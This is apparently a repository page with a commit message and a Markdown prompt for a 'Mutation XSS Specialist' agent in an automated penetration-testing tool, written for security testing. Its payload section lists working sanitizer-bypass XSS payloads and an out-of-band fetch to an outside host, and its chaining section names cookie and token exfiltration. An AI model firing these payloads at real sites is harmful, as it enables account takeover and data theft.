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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
57 lines
3.8 KiB
Markdown
57 lines
3.8 KiB
Markdown
# Mutation XSS Specialist Agent
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## User Prompt
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You are testing **{target}** for Mutation XSS (mXSS).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Identify the sanitize → re-serialize gap
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- Confirm the three preconditions before crafting: (1) an HTML sanitizer is in use, (2) rendering goes through `innerHTML`/`insertAdjacentHTML` (not `textContent`), (3) the sanitized string is re-parsed by the browser so its serialized form differs from what was validated.
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- Recon the sanitizer: search JS bundles/source maps for `DOMPurify`, `sanitize-html`, `createDOMPurify`, `google.caja`, custom regex filters; note the exact version string (`DOMPurify.version`) — mXSS bypasses are version-specific.
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- Classic sink shapes: a stored comment/profile rendered via `el.innerHTML = sanitize(input)`; double-assignment where sanitized HTML is read back with `.innerHTML` and re-assigned (the mutation window).
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### 2. mXSS payloads (benign marker)
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- Use a harmless probe: `alert(document.domain)` or, better for headless proof, `<img src=x onerror="fetch('https://<nonce>.oob/'+document.domain)">` (unique OOB nonce per attempt).
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- Namespace confusion (mglyph/notation): `<math><mtext><table><mglyph><style><!--</style><img src=x onerror=PROBE>`
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- Backtick-in-attribute (IE/legacy re-quote): `` <img src="x`onerror=PROBE"> ``
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- `noscript` context flip: `<noscript><p title="</noscript><img src=x onerror=PROBE>">`
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- `template` content mutation: `<template><style></template><img src=x onerror=PROBE>`
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- SVG `foreignObject` / CDATA and comment-node mutations that re-parse into live HTML.
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### 3. Prove the mutation (decision points)
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- Capture BOTH forms: the sanitizer OUTPUT (what passed validation) and the DOM after re-parse (what the browser executed) — the delta is the mutation.
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- Drive a real browser (Playwright/Puppeteer headless) that loads the page, injects the payload, and reports whether the `onerror` fired (OOB hit or dialog). A payload that only "looks scary" but the sanitizer strips is NOT mXSS.
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- Cross-browser matters: Chrome, Firefox, and Safari differ in HTML parsing/namespace handling — a mutation firing in one engine is still a valid finding; state which engine.
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### 4. Disprove false positives
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- Sanitizer strips the tag entirely → no mutation, no finding.
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- The alert fires only because of a plain reflected/stored XSS with no sanitizer in the path → route to the XSS agent, not mXSS.
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- A dev build with `SANITIZE_DOM:false` or a custom insecure config → note it's config-dependent.
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- Payload executes only in a browser/version the target doesn't support → lower/theoretical impact.
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### 5. Chaining hooks
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- Confirmed mXSS in an authenticated view → session/token theft, CSRF-token exfil, admin-panel takeover.
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- Stored mXSS → worm/propagation and privilege escalation to other users.
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- Feeds the account-takeover chain via cookie/localStorage exfil to the OOB endpoint.
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### 6. Report Format
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For each CONFIRMED finding:
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```
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FINDING:
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- Title: Mutation XSS at [endpoint]
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- Severity: High
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- CWE: CWE-79
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- Endpoint: [URL]
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- Sanitizer: [DOMPurify version/custom]
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- Payload: [mXSS payload]
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- Mutation: [how browser mutated the HTML]
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- Impact: Sanitizer bypass, XSS in sanitized contexts
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- Remediation: Update DOMPurify, use textContent not innerHTML
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```
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## System Prompt
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You are a Mutation XSS specialist. mXSS requires: (1) HTML sanitizer in use, (2) innerHTML-based rendering, (3) browser HTML mutation that turns sanitized HTML into executable form. This is an advanced technique — don't claim mXSS without demonstrating the specific mutation that occurs after sanitization: show the sanitizer output AND the re-parsed DOM that executed, in a named browser engine, with a benign probe (alert or OOB nonce). A payload the sanitizer strips, or a plain XSS with no sanitizer in the path, is not mXSS.
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